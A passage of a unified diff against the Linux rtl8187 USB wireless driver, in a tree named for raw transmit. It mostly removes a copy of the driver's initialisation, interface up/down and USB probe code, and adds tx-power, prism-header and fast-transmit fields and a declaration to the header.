config3; - - //FIXME: these constants are placed in a bad pleace. - -// priv->txbuffsize = 1024; -// priv->txringcount = 32; -// priv->rxbuffersize = 1024; -// priv->rxringcount = 32; -// priv->txbeaconcount = 3; -// priv->rx_skb_complete = 1; - //priv->txnp_pending.ispending=0; - /* ^^ the SKB does not containt a partial RXed - * packet (is empty) - */ - - if(!channels){ - DMESG("No channels, aborting"); - return -1; - } - ch=channels; - // set channels 1..14 allowed in given locale - for (i=1; i<=14; i++) { - (priv->ieee80211->channel_map)[i] = (u8)(ch & 0x01); - ch >>= 1; - } - //memcpy(priv->stats,0,sizeof(struct Stats)); - - //priv->irq_enabled=0; - -// priv->stats.rxdmafail=0; - priv->stats.txrdu=0; -// priv->stats.rxrdu=0; -// priv->stats.rxnolast=0; -// priv->stats.rxnodata=0; - //priv->stats.rxreset=0; - //priv->stats.rxwrkaround=0; -// priv->stats.rxnopointer=0; - priv->stats.txnperr=0; - priv->stats.txresumed=0; -// priv->stats.rxerr=0; -// priv->stats.rxoverflow=0; -// priv->stats.rxint=0; - priv->stats.txnpokint=0; - /*priv->stats.txhpokint=0; - priv->stats.txhperr=0;*/ - priv->stats.rxurberr=0; - priv->stats.rxstaterr=0; - priv->stats.txoverflow=0; - priv->stats.rxok=0; -// priv->stats.txbeaconerr=0; - priv->stats.txlperr=0; - priv->stats.txlpokint=0; - - priv->ieee80211->iw_mode = IW_MODE_INFRA; - - priv->retry_rts = DEFAULT_RETRY_RTS; - priv->retry_data = DEFAULT_RETRY_DATA; - priv->ieee80211->rate = 110; //11 mbps - priv->ieee80211->short_slot = 1; - priv->ieee80211->mode = IEEE_G; - priv->promisc = (dev->flags & IFF_PROMISC) ? 1:0; - spin_lock_init(&priv->tx_lock); - INIT_WORK(&priv->reset_wq,(void(*)(void*)) rtl8180_restart,dev); - sema_init(&priv->wx_sem,1); - tasklet_init(&priv->irq_rx_tasklet, - (void(*)(unsigned long))rtl8180_irq_rx_tasklet, - (unsigned long)priv); - - //priv->ieee80211->func = - // kmalloc(sizeof(struct ieee80211_helper_functions),GFP_KERNEL); - //memset(priv->ieee80211->func, 0, - // sizeof(struct ieee80211_helper_functions)); - priv->ieee80211->current_network.beacon_interval = DEFAULT_BEACONINTERVAL; - priv->ieee80211->iw_mode = IW_MODE_INFRA; - priv->ieee80211->softmac_features = IEEE_SOFTMAC_SCAN | - IEEE_SOFTMAC_ASSOCIATE | IEEE_SOFTMAC_PROBERQ | - IEEE_SOFTMAC_PROBERS | IEEE_SOFTMAC_TX_QUEUE | - /*IEEE_SOFTMAC_BEACONS | */IEEE_SOFTMAC_SINGLE_QUEUE; - - priv->ieee80211->active_scan = 1; - priv->ieee80211->rate = 110; //11 mbps - priv->ieee80211->modulation = IEEE80211_CCK_MODULATION | IEEE80211_OFDM_MODULATION; - priv->ieee80211->host_encrypt = 1; - priv->ieee80211->host_decrypt = 1; - priv->ieee80211->start_send_beacons = rtl8187_beacon_tx; - priv->ieee80211->stop_send_beacons = rtl8187_beacon_stop; - //priv->ieee80211->softmac_hard_start_xmit = rtl8180_hard_start_xmit; - priv->ieee80211->softmac_hard_start_xmit = NULL; - priv->ieee80211->set_chan = rtl8180_set_chan; - priv->ieee80211->link_change = rtl8187_link_change; - priv->ieee80211->softmac_data_hard_start_xmit = rtl8180_hard_data_xmit; - priv->ieee80211->data_hard_stop = rtl8180_data_hard_stop; - priv->ieee80211->data_hard_resume = rtl8180_data_hard_resume; - //priv->ieee80211->start_send_beacons = NULL; - //priv->ieee80211->stop_send_beacons = NULL; - - priv->ieee80211->fts = DEFAULT_FRAG_THRESHOLD; - - priv->card_8185 = 2; - priv->phy_ver = 2; - priv->card_type = USB; - - #if 0 - hw_version =( read_nic_dword(dev, TCR) & TCR_HWVERID_MASK)>>TCR_HWVERID_SHIFT; - - switch (hw_version){ - case HW_VERID_R8185_ABC: - DMESG("MAC controller is a RTL8185 b/g"); - priv->card_8185 = 1; - /* you should not find a card with 8225 PHY ver < C*/ - priv->phy_ver = 2; - break; - - case HW_VERID_R8185_D: - DMESG("MAC controller is a RTL8185 b/g (V. D)"); - priv->card_8185 = 2; - /* you should not find a card with 8225 PHY ver < C*/ - priv->phy_ver = 2; - break; - - case HW_VERID_R8180_ABCD: - DMESG("MAC controller is a RTL8180"); - priv->card_8185 = 0; - break; - - case HW_VERID_R8180_F: - DMESG("MAC controller is a RTL8180 (v. F)"); - priv->card_8185 = 0; - break; - - default: - DMESGW("MAC chip not recognized: version %x. Assuming RTL8180",hw_version); - priv->card_8185 = 0; - break; - } - - - /* you should not found any 8185 Ver B Card */ - priv->card_8185_Bversion = 0; - - config3 = read_nic_byte(dev, CONFIG3); - if(config3 & 0x8){ - priv->card_type = CARDBUS; - DMESG("This is a CARDBUS NIC"); - } - else if( config3 & 0x4){ - priv->card_type = MINIPCI; - DMESG("This is a MINI-PCI NIC"); - }else{ - priv->card_type = PCI; - DMESG("This is a PCI NIC"); - } - #endif - priv->enable_gpio0 = 0; - - - /* commented out just because we already do - this when resetting the card - andrea 20050924 - */ - #if 0 - - u8 txcr, txreg50; - u32 txreg54, txreg60; - - /* enable A/D D/A register */ - txcr = read_nic_byte(dev, 0x59); -// DMESG("", txcr); - //write_nic_word(dev, 0x59, 0x44); - write_nic_byte(dev, 0x59, 0x44); - //write_nic_byte(dev, 0x59, 0xea); - txcr = read_nic_byte(dev, 0x59); -// DMESG("<>", txcr); - - txreg50 = read_nic_byte(dev, 0x50); - // DMESG("", txreg50); - write_nic_byte(dev, 0x50, 0xc0); - txreg50 = read_nic_byte(dev, 0x50); - // DMESG("<>", txreg50); - - - txreg54 = read_nic_dword(dev, 0x54); - // DMESG("", txreg54); - txreg54 = 0xa0000a59; - // DMESG("<>", txreg54); - write_nic_dword(dev, 0x54, txreg54); - txreg54 = read_nic_dword(dev, 0x54); - // DMESG("<<>>", txreg54); - - txreg60 = read_nic_dword(dev, 0x60); - // DMESG("", txreg60); - - write_nic_byte(dev, 0x50, 0x0); - txcr = read_nic_byte(dev, 0x50); - // DMESG("<>", txcr); - -#endif - - /*the eeprom type is stored in RCR register bit #6 */ - if (RCR_9356SEL & read_nic_dword(dev, RCR)){ - priv->epromtype=EPROM_93c56; - DMESG("Reported EEPROM chip is a 93c56 (2Kbit)"); - }else{ - priv->epromtype=EPROM_93c46; - DMESG("Reported EEPROM chip is a 93c46 (1Kbit)"); - } - - dev->get_stats = rtl8180_stats; - - dev->dev_addr[0]=eprom_read(dev,MAC_ADR) & 0xff; - dev->dev_addr[1]=(eprom_read(dev,MAC_ADR) & 0xff00)>>8; - dev->dev_addr[2]=eprom_read(dev,MAC_ADR+1) & 0xff; - dev->dev_addr[3]=(eprom_read(dev,MAC_ADR+1) & 0xff00)>>8; - dev->dev_addr[4]=eprom_read(dev,MAC_ADR+2) & 0xff; - dev->dev_addr[5]=(eprom_read(dev,MAC_ADR+2) & 0xff00)>>8; - - DMESG("Card MAC address is "MAC_FMT, MAC_ARG(dev->dev_addr)); - - for(i=1,j=0; i<6; i+=2,j++){ - - word = eprom_read(dev,EPROM_TXPW0 + j); - priv->chtxpwr[i]=word & 0xf; - priv->chtxpwr_ofdm[i]=(word & 0xf0)>>4; - priv->chtxpwr[i+1]=(word & 0xf00)>>8; - priv->chtxpwr_ofdm[i+1]=(word & 0xf000)>>12; - } - - for(i=1,j=0; i<4; i+=2,j++){ - - word = eprom_read(dev,EPROM_TXPW1 + j); - priv->chtxpwr[i+6]=word & 0xf; - priv->chtxpwr_ofdm[i+6]=(word & 0xf0)>>4; - priv->chtxpwr[i+6+1]=(word & 0xf00)>>8; - priv->chtxpwr_ofdm[i+6+1]=(word & 0xf000)>>12; - } - - for(i=1,j=0; i<4; i+=2,j++){ - - word = eprom_read(dev,EPROM_TXPW2 + j); - priv->chtxpwr[i+6+4]=word & 0xf; - priv->chtxpwr_ofdm[i+6+4]=(word & 0xf0)>>4; - priv->chtxpwr[i+6+4+1]=(word & 0xf00)>>8; - priv->chtxpwr_ofdm[i+6+4+1]=(word & 0xf000)>>12; - } - - - priv->rf_chip = 0xff & eprom_read(dev,EPROM_RFCHIPID); - - word = eprom_read(dev,EPROM_TXPW_BASE); - priv->cck_txpwr_base = word & 0xf; - priv->ofdm_txpwr_base = (word>>4) & 0xf; - - /* check RF frontend chipset */ - - switch (priv->rf_chip) { - - case EPROM_RFCHIPID_RTL8225U: - - DMESG("Card reports RF frontend Realtek 8225"); - DMESGW("This driver has EXPERIMENTAL support for this chipset."); - DMESGW("use it with care and at your own risk and"); - DMESGW("**PLEASE** REPORT SUCCESS/INSUCCESS TO andreamrl@tiscali.it"); - if(rtl8225_is_V_z2(dev)){ - priv->rf_init = rtl8225z2_rf_init; - priv->rf_set_chan = rtl8225z2_rf_set_chan; - priv->rf_set_sens = NULL; - DMESG("This seems a new V2 radio"); - }else{ - priv->rf_init = rtl8225_rf_init; - priv->rf_set_chan = rtl8225_rf_set_chan; - priv->rf_set_sens = rtl8225_rf_set_sens; - DMESG("This seems a legacy 1st version radio"); - } - priv->rf_close = rtl8225_rf_close; - - priv->max_sens = RTL8225_RF_MAX_SENS; - priv->sens = RTL8225_RF_DEF_SENS; - break; - - default: - DMESGW("Unknown RF module %x",priv->rf_chip); - DMESGW("Exiting..."); - return -1; - - } - -// DMESG("Energy threshold: %x",priv->cs_treshold); - DMESG("PAPE from CONFIG2: %x",read_nic_byte(dev,CONFIG2)&0x7); - //DMESG("CONFIG2: %x ECONFIG2: %x",read_nic_byte(dev,CONFIG2),eprom_read(dev,EPROM_CONFIG2)); - - if(rtl8187_usb_initendpoints(dev)!=0){ - DMESG("Endopoints initialization failed"); - return -ENOMEM; - } -#if 0 - if (0!=alloc_rx_desc_ring(dev, priv->rxbuffersize, priv->rxringcount)) - return -ENOMEM; - - if (0!=alloc_tx_desc_ring(dev, priv->txbuffsize, priv->txringcount, - TX_NORMPRIORITY_RING_ADDR)) - return -ENOMEM; - - if (0!=alloc_tx_desc_ring(dev, priv->txbuffsize, priv->txringcount, - TX_HIGHPRIORITY_RING_ADDR)) - return -ENOMEM; - - if (0!=alloc_tx_desc_ring(dev, priv->txbuffsize, priv->txringcount, - TX_LOWPRIORITY_RING_ADDR)) - return -ENOMEM; - - - if (0!=alloc_tx_beacon_desc_ring(dev, priv->txbeaconcount)) - return -ENOMEM; -#endif - - -#ifdef DEBUG_EPROM - dump_eprom(dev); -#endif - return 0; - -} - -void rtl8185_rf_pins_enable(struct net_device *dev) -{ -/* u16 tmp; - tmp = read_nic_word(dev, RFPinsEnable);*/ - write_nic_word(dev, RFPinsEnable, 0x1ff7);// | tmp); -} - - -void rtl8185_set_anaparam2(struct net_device *dev, u32 a) -{ - u8 conf3; - - rtl8180_set_mode(dev, EPROM_CMD_CONFIG); - - conf3 = read_nic_byte(dev, CONFIG3); - write_nic_byte(dev, CONFIG3, conf3 | (1<> 24)); - write_nic_byte(dev, 0x7e, ((phyw & 0x00ff0000) >> 16)); - write_nic_byte(dev, 0x7d, ((phyw & 0x0000ff00) >> 8)); - write_nic_byte(dev, 0x7c, ((phyw & 0x000000ff) )); - - //read_nic_dword(dev, PHY_ADR); -#if 0 - for(i=0;i<10;i++){ - write_nic_dword(dev, PHY_ADR, 0xffffff7f & phyw); - phyr = read_nic_byte(dev, PHY_READ); - if(phyr == (data&0xff)) break; - - } -#endif - /* this is ok to fail when we write AGC table. check for AGC table might be - * done by masking with 0x7f instead of 0xff - */ - //if(phyr != (data&0xff)) DMESGW("Phy write timeout %x %x %x", phyr, data, adr); - mdelay(1); -} - - -inline void write_phy_ofdm (struct net_device *dev, u8 adr, u32 data) -{ - data = data & 0xff; - rtl8187_write_phy(dev, adr, data); -} - - -void write_phy_cck (struct net_device *dev, u8 adr, u32 data) -{ - data = data & 0xff; - rtl8187_write_phy(dev, adr, data | 0x10000); -} - - -void rtl8180_adapter_start(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - //u32 anaparam; - //u8 config3; - - //rtl8180_rtx_disable(dev); - rtl8180_reset(dev); - - write_nic_byte(dev,0x85,0); - write_nic_byte(dev,0x91,0); - - /* light blink! */ - write_nic_byte(dev,0x85,4); - write_nic_byte(dev,0x91,1); - write_nic_byte(dev,0x90,0); - - priv->irq_mask = 0xffff; -/* - priv->dma_poll_mask = 0; - priv->dma_poll_mask|= (1<dev_addr)[0]); - write_nic_word(dev, MAC4, ((u32*)dev->dev_addr)[1] & 0xffff ); - - rtl8180_set_mode(dev, EPROM_CMD_NORMAL); - rtl8180_update_msr(dev); - - rtl8180_set_mode(dev, EPROM_CMD_CONFIG); - - write_nic_word(dev,0xf4,0xffff); - write_nic_byte(dev, - CONFIG1, (read_nic_byte(dev,CONFIG1) & 0x3f) | 0x80); - - rtl8180_set_mode(dev,EPROM_CMD_NORMAL); - - write_nic_dword(dev,INT_TIMEOUT,0); - -#ifdef DEBUG_REGISTERS - rtl8180_dump_reg(dev); -#endif - - - write_nic_byte(dev, WPA_CONFIG, 0); - - write_nic_byte(dev, RATE_FALLBACK, 0x81); - rtl8187_set_rate(dev); - - priv->rf_init(dev); - - if(priv->rf_set_sens != NULL) - priv->rf_set_sens(dev,priv->sens); - - write_nic_word(dev,0x5e,1); - - #if 1 - //mdelay(1); - write_nic_word(dev,0xfe,0x10); -// mdelay(1); - #endif - write_nic_byte(dev, TALLY_SEL, 0x80);//Set NQ retry count - - write_nic_byte(dev, 0xff, 0x60); - - write_nic_word(dev,0x5e,0); - - - rtl8180_irq_enable(dev); - /*DMESG ("lfree %d",get_curr_tx_free_desc(dev,LOW_PRIORITY)); - - DMESG ("nfree %d",get_curr_tx_free_desc(dev,NORM_PRIORITY)); - - DMESG ("hfree %d",get_curr_tx_free_desc(dev,HI_PRIORITY)); - if(check_nic_enought_desc(dev,NORM_PRIORITY)) DMESG("NORM OK"); - if(check_nic_enought_desc(dev,HI_PRIORITY)) DMESG("HI OK"); - if(check_nic_enought_desc(dev,LOW_PRIORITY)) DMESG("LOW OK");*/ -} - - - -/* this configures registers for beacon tx and enables it via - * rtl8180_beacon_tx_enable(). rtl8180_beacon_tx_disable() might - * be used to stop beacon transmission - */ -#if 0 -void rtl8180_start_tx_beacon(struct net_device *dev) -{ - int i; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - u16 word; - DMESG("Enabling beacon TX"); - //write_nic_byte(dev, 0x42,0xe6);// TCR - //rtl8180_init_beacon(dev); - //set_nic_txring(dev); -// rtl8180_prepare_beacon(dev); - rtl8180_irq_disable(dev); -// rtl8180_beacon_tx_enable(dev); - rtl8180_set_mode(dev,EPROM_CMD_CONFIG); - //write_nic_byte(dev,0x9d,0x20); //DMA Poll - //write_nic_word(dev,0x7a,0); - //write_nic_word(dev,0x7a,0x8000); - - - word = read_nic_word(dev, BcnItv); - word &= ~BcnItv_BcnItv; // clear Bcn_Itv - write_nic_word(dev, BcnItv, word); - - write_nic_word(dev, AtimWnd, - read_nic_word(dev, AtimWnd) &~ AtimWnd_AtimWnd); - - word = read_nic_word(dev, BintrItv); - word &= ~BintrItv_BintrItv; - - //word |= priv->ieee80211->beacon_interval * - // ((priv->txbeaconcount > 1)?(priv->txbeaconcount-1):1); - // FIXME:FIXME check if correct ^^ worked with 0x3e8; - - write_nic_word(dev, BintrItv, word); - - //write_nic_word(dev,0x2e,0xe002); - //write_nic_dword(dev,0x30,0xb8c7832e); - for(i=0; iieee80211->beacon_cell_ssid[i]); - -// rtl8180_update_msr(dev); - - - //write_nic_byte(dev,CONFIG4,3); /* !!!!!!!!!! */ - - rtl8180_set_mode(dev, EPROM_CMD_NORMAL); - - rtl8180_irq_enable(dev); - - /* VV !!!!!!!!!! VV*/ - /* - rtl8180_set_mode(dev,EPROM_CMD_CONFIG); - write_nic_byte(dev,0x9d,0x00); - rtl8180_set_mode(dev,EPROM_CMD_NORMAL); -*/ -} -#endif -/*************************************************************************** - -------------------------------NET STUFF--------------------------- -***************************************************************************/ -static struct net_device_stats *rtl8180_stats(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - - return &priv->ieee80211->stats; -} - - -int _rtl8180_up(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - - priv->up=1; - - //DMESG("Bringing up iface"); - - rtl8180_adapter_start(dev); - - rtl8180_rx_enable(dev); - - rtl8180_tx_enable(dev); - - ieee80211_softmac_start_protocol(priv->ieee80211); - - ieee80211_reset_queue(priv->ieee80211); - if(!netif_queue_stopped(dev)) - netif_start_queue(dev); - else - netif_wake_queue(dev); - - return 0; -} - - -int rtl8180_open(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - int ret; - - down(&priv->wx_sem); - ret = rtl8180_up(dev); - up(&priv->wx_sem); - return ret; - -} - - -int rtl8180_up(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - - if (priv->up == 1) return -1; - - return _rtl8180_up(dev); -} - - -int rtl8180_close(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - int ret; - - down(&priv->wx_sem); - - ret = rtl8180_down(dev); - - up(&priv->wx_sem); - - return ret; - -} - -int rtl8180_down(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - - if (priv->up == 0) return -1; - - priv->up=0; - -/* FIXME */ - if (!netif_queue_stopped(dev)) - netif_stop_queue(dev); - - rtl8180_rtx_disable(dev); - rtl8180_irq_disable(dev); - - ieee80211_softmac_stop_protocol(priv->ieee80211); - - return 0; -} - - -void rtl8180_commit(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - - if (priv->up == 0) return ; - - ieee80211_softmac_stop_protocol(priv->ieee80211); - - rtl8180_irq_disable(dev); - rtl8180_rtx_disable(dev); - _rtl8180_up(dev); -} - -void rtl8180_restart(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - - down(&priv->wx_sem); - - rtl8180_commit(dev); - - up(&priv->wx_sem); -} - -static void r8180_set_multicast(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - short promisc; - - //down(&priv->wx_sem); - - /* FIXME FIXME */ - - promisc = (dev->flags & IFF_PROMISC) ? 1:0; - - if (promisc != priv->promisc) - // rtl8180_commit(dev); - - priv->promisc = promisc; - - //schedule_work(&priv->reset_wq); - //up(&priv->wx_sem); -} - - -int r8180_set_mac_adr(struct net_device *dev, void *mac) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - struct sockaddr *addr = mac; - - down(&priv->wx_sem); - - memcpy(dev->dev_addr, addr->sa_data, ETH_ALEN); - - schedule_work(&priv->reset_wq); - - up(&priv->wx_sem); - - return 0; -} - - -/* based on ipw2200 driver */ -int rtl8180_ioctl(struct net_device *dev, struct ifreq *rq, int cmd) -{ - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - down(&priv->wx_sem); - - struct iwreq *wrq = (struct iwreq *)rq; - - int ret=-1; - switch (cmd) { - case RTL_IOCTL_WPA_SUPPLICANT: - ret = ieee80211_wpa_supplicant_ioctl(priv->ieee80211, &wrq->u.data); - break; - - default: - ret = -EOPNOTSUPP; - break; - } - - up(&priv->wx_sem); - - return ret; -} - - -void rtl8180_irq_rx_tasklet(struct r8180_priv *priv) -{ - struct urb *rx_urb = priv->rxurb_task; - struct net_device *dev = (struct net_device*)rx_urb->context; - int status,len,flen; - struct sk_buff *skb; - u32 *desc; - - //DMESG("rtl8187_rx_isr"); - - struct ieee80211_rx_stats stats = { - .signal = 0, - .noise = -98, - .rate = 0, - // .mac_time = jiffies, - .freq = IEEE80211_24GHZ_BAND, - }; - - //DMESG("RX %d ",rx_urb->status); - status = rx_urb->status; - if(status == 0){ - - len = rx_urb->actual_length; - // len = len - 4 - 15 - 1; /* CRC, DESC, SEPARATOR*/ - len -= 4*4;/* 4 dword and 4 byte CRC */ - - desc = (u32*)(rx_urb->transfer_buffer + len); - - flen = desc[0] & 0xfff; - - if( flen <= rx_urb->actual_length){ - - stats.signal = (desc[1] & 0x7f00)>>8; - stats.noise = desc[1] &0xff; - stats.rate = desc[0] >> 20 & 0xf; - stats.mac_time[0] = desc[2]; - stats.mac_time[1] = desc[3]; - skb = dev_alloc_skb(flen-4); - //skb_reserve(skb,2); - if(skb){ - memcpy(skb_put(skb,flen-4), - rx_urb->transfer_buffer,flen -4); - - #ifdef DUMP_RX - int i; - for(i=0;itransfer_buffer))[i]); - printk("------RATE %x:w---------------\n",stats.rate); - - #endif - priv->stats.rxok++; - // priv->rxskb = skb; - // priv->tempstats = &stats; - - if(!ieee80211_rx(priv->ieee80211, - skb, &stats)) - dev_kfree_skb_any(skb); - } - }else priv->stats.rxurberr++; - }else{ - priv->stats.rxstaterr++; - priv->ieee80211->stats.rx_errors++; - - } - - if(status != -ENOENT)rtl8187_rx_urbsubmit(dev,rx_urb); - else DMESG("RX process aborted due to explicit shutdown"); -} - -/**************************************************************************** - ---------------------------- USB_STUFF--------------------------- -*****************************************************************************/ - - -static int __devinit rtl8187_usb_probe(struct usb_interface *intf, - const struct usb_device_id *id) -{ -// unsigned long ioaddr = 0; - struct net_device *dev = NULL; - struct r8180_priv *priv= NULL; - struct usb_device *udev = interface_to_usbdev(intf); - -//printk("===> rtl8187_usb_probe()\n"); - - dev = alloc_ieee80211(sizeof(struct r8180_priv)); - - SET_MODULE_OWNER(dev); - usb_set_intfdata(intf, dev); - - SET_NETDEV_DEV(dev, &intf->dev); - - priv = ieee80211_priv(dev); - priv->ieee80211 = netdev_priv(dev); - - priv->udev=udev; - - dev->open = rtl8180_open; - dev->stop = rtl8180_close; - //dev->hard_start_xmit = rtl8180_8023_hard_start_xmit; - dev->tx_timeout = tx_timeout; - dev->wireless_handlers = &r8180_wx_handlers_def; - dev->do_ioctl = rtl8180_ioctl; - dev->set_multicast_list = r8180_set_multicast; - dev->set_mac_address = r8180_set_mac_adr; - dev->get_wireless_stats = r8180_get_wireless_stats; - dev->type=ARPHRD_ETHER; - - if (dev_alloc_name(dev, ifname) < 0){ - DMESG("Oops: devname already taken! Trying wlan%%d...\n"); - ifname = "wlan%d"; - dev_alloc_name(dev, ifname); - } - -// dev->open=rtl8180_init; - - if(rtl8180_init(dev)!=0){ - DMESG("Initialization failed"); - goto fail; - } - - netif_carrier_off(dev); - netif_stop_queue(dev); - - register_netdev(dev); - - rtl8180_proc_init_one(dev); - - - DMESG("Driver probe completed\n"); - return 0; - - -fail: - free_ieee80211(dev); - - DMESG("wlan driver load failed\n"); - - return -ENODEV; - -} - - -static void __devexit rtl8187_usb_disconnect(struct usb_interface *intf) -{ - struct r8180_priv *priv; - struct net_device *dev = usb_get_intfdata(intf); - if(dev){ - - unregister_netdev(dev); - - priv=ieee80211_priv(dev); - - rtl8180_proc_remove_one(dev); - - rtl8180_down(dev); - priv->rf_close(dev); - //rtl8180_rtx_disable(dev); - rtl8187_usb_deleteendpoints(dev); - rtl8180_irq_disable(dev); - rtl8180_reset(dev); - mdelay(10); - - } -// pci_disable_device(pdev); - free_ieee80211(dev); - DMESG("wlan driver removed\n"); -} - - -static int __init rtl8187_usb_module_init(void) -{ - printk(KERN_INFO "\nLinux kernel driver for RTL8187 \ -based WLAN cards\n"); - printk(KERN_INFO "Copyright (c) 2004-2005, Andrea Merello\n"); - DMESG("Initializing module"); - DMESG("Wireless extensions version %d", WIRELESS_EXT); - rtl8180_proc_module_init(); - return usb_register(&rtl8187_usb_driver); -} - - -static void __exit rtl8187_usb_module_exit(void) -{ - usb_deregister(&rtl8187_usb_driver); - - rtl8180_proc_module_remove(); - DMESG("Exiting"); -} - - -void rtl8180_try_wake_queue(struct net_device *dev, int pri) -{ - unsigned long flags; - short enough_desc; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - spin_lock_irqsave(&priv->tx_lock,flags); - enough_desc = check_nic_enought_desc(dev,pri); - spin_unlock_irqrestore(&priv->tx_lock,flags); - - if(enough_desc) - ieee80211_wake_queue(priv->ieee80211); -} - - - -/*************************************************************************** - ------------------- module init / exit stubs ---------------- -****************************************************************************/ -module_init(rtl8187_usb_module_init); -module_exit(rtl8187_usb_module_exit); diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/r8187.h rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8187.h --- rtl8187_linux_26.1010.0622.2006/beta-8187/r8187.h 2006-06-06 08:48:10.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8187.h 2008-01-30 17:38:11.000000000 +0100 @@ -1,17 +1,17 @@ -/* +/* This is part of rtl8187 OpenSource driver. - Copyright (C) Andrea Merello 2004-2005 + Copyright (C) Andrea Merello 2004-2005 Released under the terms of GPL (General Public Licence) - - Parts of this driver are based on the GPL part of the + + Parts of this driver are based on the GPL part of the official realtek driver - - Parts of this driver are based on the rtl8180 driver skeleton + + Parts of this driver are based on the rtl8180 driver skeleton from Patric Schenke & Andres Salomon - + Parts of this driver are based on the Intel Pro Wireless 2100 GPL driver - - We want to tanks the Authors of those projects and the Ndiswrapper + + We want to tanks the Authors of those projects and the Ndiswrapper project Authors. */ @@ -26,7 +26,6 @@ #include #include -#include #include #include #include @@ -47,6 +46,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" #define EPROM_93c46 0 @@ -68,7 +73,7 @@ { struct buffer *next; u32 *buf; - + } buffer; #if 0 @@ -123,18 +128,18 @@ short epromtype; int irq; struct ieee80211_device *ieee80211; - + short card_8185; /* O: rtl8180, 1:rtl8185 V B/C, 2:rtl8185 V D */ short card_8185_Bversion; /* if TCR reports card V B/C this discriminates */ short phy_ver; /* meaningful for rtl8225 1:A 2:B 3:C */ short enable_gpio0; enum card_type {PCI,MINIPCI,CARDBUS,USB/*rtl8187*/}card_type; short hw_plcp_len; - + // spinlock_t irq_lock; // spinlock_t irq_th_lock; spinlock_t tx_lock; - + u16 irq_mask; // short irq_enabled; struct net_device *dev; @@ -143,13 +148,17 @@ short max_sens; u8 chtxpwr[15]; //channels from 1 to 14, 0 not used u8 chtxpwr_ofdm[15]; //channels from 1 to 14, 0 not used + u8 chtxpwr_orig[15]; //channels from 1 to 14, 0 not used + u8 chtxpwr_ofdm_orig[15]; //channels from 1 to 14, 0 not used u8 cck_txpwr_base; u8 ofdm_txpwr_base; + u8 txpwr_max; u8 challow[15]; //channels from 1 to 14, 0 not used short up; short crcmon; //if 1 allow bad crc frame reception in monitor mode -// short prism_hdr; - + short prism_hdr; + short fasttx; + // struct timer_list scan_timer; /*short scanpending; short stopscan;*/ @@ -158,7 +167,7 @@ //u8 active_scan_num; struct semaphore wx_sem; // short hw_wep; - + // short digphy; // short antb; // short diversity; @@ -171,31 +180,31 @@ void (*rf_close)(struct net_device *dev); void (*rf_init)(struct net_device *dev); //short rate; - short promisc; + short promisc; /*stats*/ struct Stats stats; struct iw_statistics wstats; struct proc_dir_entry *dir_dev; - + /*RX stuff*/ // u32 *rxring; // u32 *rxringtail; // dma_addr_t rxringdma; struct urb **rx_urb; - + //struct buffer *rxbuffer; //struct buffer *rxbufferhead; //int rxringcount; //u16 rxbuffersize; - - //struct sk_buff *rx_skb; + + //struct sk_buff *rx_skb; //short rx_skb_complete; //u32 rx_prevlen; atomic_t tx_lp_pending; atomic_t tx_np_pending; -#if 0 +#if 0 /*TX stuff*/ u32 *txlpring; u32 *txhpring; @@ -225,7 +234,7 @@ struct urb *rxurb_task; // u8 dma_poll_mask; //short tx_suspend; - + /* adhoc/master mode stuff */ #if 0 u32 *txbeacontail; @@ -239,22 +248,23 @@ //u16 master_beaconinterval; // u32 master_beaconsize; //u16 beacon_interval; - + u8 retry_data; u8 retry_rts; - + struct work_struct reset_wq; - + }r8180_priv; -typedef enum{ +typedef enum{ LOW_PRIORITY , - NORM_PRIORITY + NORM_PRIORITY } priority_t; short rtl8180_tx(struct net_device *dev,u32* skbuf, int len,priority_t priority,short morefrag,short rate); +short rtl8180_tx_fast(struct net_device *dev,u32* skbuf, int len, short rate); u8 read_nic_byte(struct net_device *dev, int x); u8 read_nic_byte_E(struct net_device *dev, int x); diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/r8187.h~ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8187.h~ --- rtl8187_linux_26.1010.0622.2006/beta-8187/r8187.h~ 2006-06-06 04:58:02.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8187.h~ 1970-01-01 01:00:00.000000000 +0100 @@ -1,288 +0,0 @@ -/* - This is part of rtl8187 OpenSource driver. - Copyright (C) Andrea Merello 2004-2005 - Released under the terms of GPL (General Public Licence) - - Parts of this driver are based on the GPL part of the - official realtek driver - - Parts of this driver are based on the rtl8180 driver skeleton - from Patric Schenke & Andres Salomon - - Parts of this driver are based on the Intel Pro Wireless 2100 GPL driver - - We want to tanks the Authors of those projects and the Ndiswrapper - project Authors. -*/ - -#ifndef R8180H -#define R8180H - - -#define RTL8187_MODULE_NAME "rtl8187" -#define DMESG(x,a...) printk(KERN_INFO RTL8187_MODULE_NAME ": " x "\n", ## a) -#define DMESGW(x,a...) printk(KERN_WARNING RTL8187_MODULE_NAME ": WW:" x "\n", ## a) -#define DMESGE(x,a...) printk(KERN_WARNING RTL8187_MODULE_NAME ": EE:" x "\n", ## a) - -#include -#include -#include -#include -#include -#include -#include -#include -#include -//#include -#include -#include -#include -#include //for rtnl_lock() -#include -#include -#include // Necessary because we use the proc fs -#include -#include -#include -#include -#include - -#include "ieee80211.h" - -#define EPROM_93c46 0 -#define EPROM_93c56 1 - -#define DEFAULT_FRAG_THRESHOLD 2342U -#define MIN_FRAG_THRESHOLD 